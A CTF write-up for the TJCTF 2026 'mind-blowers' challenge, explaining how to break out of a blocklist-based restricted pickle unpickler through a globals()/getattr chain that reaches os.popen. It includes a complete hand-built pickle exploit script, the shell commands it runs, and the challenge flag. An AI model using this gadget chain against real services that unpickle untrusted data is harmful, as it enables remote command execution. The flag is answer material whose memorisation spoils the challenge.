mind-blowers
Author: Jordan Lanham Event: TJCTF 2026 Category: misc Date: May 15, 2026 Read Time: 6 minutes
Overview
A restricted Python pickle deserializer service that allows only the builtins module and blacklists a handful of dangerous names (eval, exec, compile, __import__, open, breakpoint, input, exit, quit). The unpickled result is stringified back to the client. Escape the sandbox by chaining builtins.globals() (which returns the caller's module globals — server.py's namespace) to reach pickle.sys.modules['os'].popen('cat /flag.txt').read().
Challenge Description
Rick has open sourced his mind blowers program! Don't upload any malicious mind blowers! nc tjc.tf 31422
Files provided: server.py
Endpoints: nc tjc.tf 31422
Initial Analysis
The server reads a base64 blob, decodes it, and feeds it into a RestrictedUnpickler:
BLOCKED_NAMES = {"eval","exec","compile","__import__","open","breakpoint","input","exit","quit"}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module != "builtins": raise UnpicklingError("banned")
if name in BLOCKED_NAMES: raise UnpicklingError("blocked")
return super().find_class(module, name)
The unpickled object is stringified into f"Here is your memory: {result}\n" and sent back. So the final value left on the pickle stack at STOP is what we receive — we want that to be the flag contents.
Solution Approach
Step 1: Reconnaissance
Allowed: anything in builtins except the 9 blacklisted names. Notably not blocked: getattr, globals, vars, setattr, delattr, print, format. That's plenty.
Step 2: Vulnerability Identification
builtins.globals is a callable. When invoked via pickle's REDUCE opcode, Python evaluates the function with the calling frame's globals — i.e. the server.py module namespace. That namespace contains the imported pickle module reference. From pickle, we can reach pickle.sys, then sys.modules['os'], then os.popen.
Step 3: Exploitation
Build the pickle by hand using only c/R/(/t/V/q/h/. opcodes:
c builtins\nglobals\n+)+R→ callglobals()→ server's module dict.getattr(g, 'get')→ bound method.g.get('pickle')→ the importedpicklemodule.getattr(pickle, 'sys')→sys(pickle.py doesimport sys).getattr(sys, 'modules')→ the modules dict.modules.get('os')→osmodule.getattr(os, 'popen')→os.popen.os.popen('cat /flag.txt')→ file-like object.getattr(..., 'read')then call with()→ flag string.
The string is left on the stack at STOP and returned as result.
Step 4: Flag Extraction
A first attempt with cat flag.txt returned empty (server CWD is /app which holds only server.py). An exploratory command ls -la; pwd; cat flag*; cat /flag*; find / -name flag* | head printed /flag.txt and revealed the flag in its body.
Code / Exploit
#!/usr/bin/env python3
import base64, socket
p = b''
p += b'cbuiltins\nglobals\n)R' # g = globals() of server.py
p += b'q\x00'
p += b'cbuiltins\ngetattr\n(h\x00Vget\ntR' # g.get
p += b'q\x01'
p += b'h\x01(Vpickle\ntR' # g.get('pickle') -> pickle module
p += b'q\xff'
p += b'cbuiltins\ngetattr\n(h\xffVsys\ntR' # pickle.sys
p += b'q\x02'
p += b'cbuiltins\ngetattr\n(h\x02Vmodules\ntR' # sys.modules
p += b'q\x03'
p += b'cbuiltins\ngetattr\n(h\x03Vget\ntR' # modules.get
p += b'q\x04'
p += b'h\x04(Vos\ntR' # -> os module
p += b'q\x05'
p += b'cbuiltins\ngetattr\n(h\x05Vpopen\ntR' # os.popen
p += b'q\x06'
p += b'h\x06(Vcat /flag.txt\ntR' # os.popen('cat /flag.txt')
p += b'q\x07'
p += b'cbuiltins\ngetattr\n(h\x07Vread\ntR' # popen_obj.read
p += b'q\x08'
p += b'h\x08)R.' # .read() -> flag string, STOP
b64 = base64.b64encode(p)
s = socket.socket(); s.connect(('tjc.tf', 31422))
s.recv(4096)
s.sendall(b64 + b'\n')
print(s.recv(4096).decode())
Technical Details
- Vulnerability class: Restricted-pickle deserialization escape.
- Encryption / encoding: Base64-wrapped pickle protocol 0/1 opcodes.
- Protocol: Plain TCP, one shot per connection.
- Key trick:
builtins.globalsreturns the caller's module globals at the moment theREDUCEopcode invokes it — that'sserver.py's namespace, which already importedpickle. From there we reachpickle.sys.modules['os']without ever calling__import__,eval,exec, orcompile.
Key Insights
- A blocklist that only filters
find_classnames is not enough —getattrplus any reachable module reference is a complete escape primitive. builtins.globals()is a quietly powerful gadget: it picks up whatever module's globals contain the caller frame. In a sandboxed unpickler this is usually the unpickler's own module.- The final value on the pickle stack at
STOPis whatpickle.load()returns — useful when the server stringifies the result for you.
The Flag
tjctf{bl0ckl1st5_4r3_n0t_s4f3_3v3n_f0r_r1ck}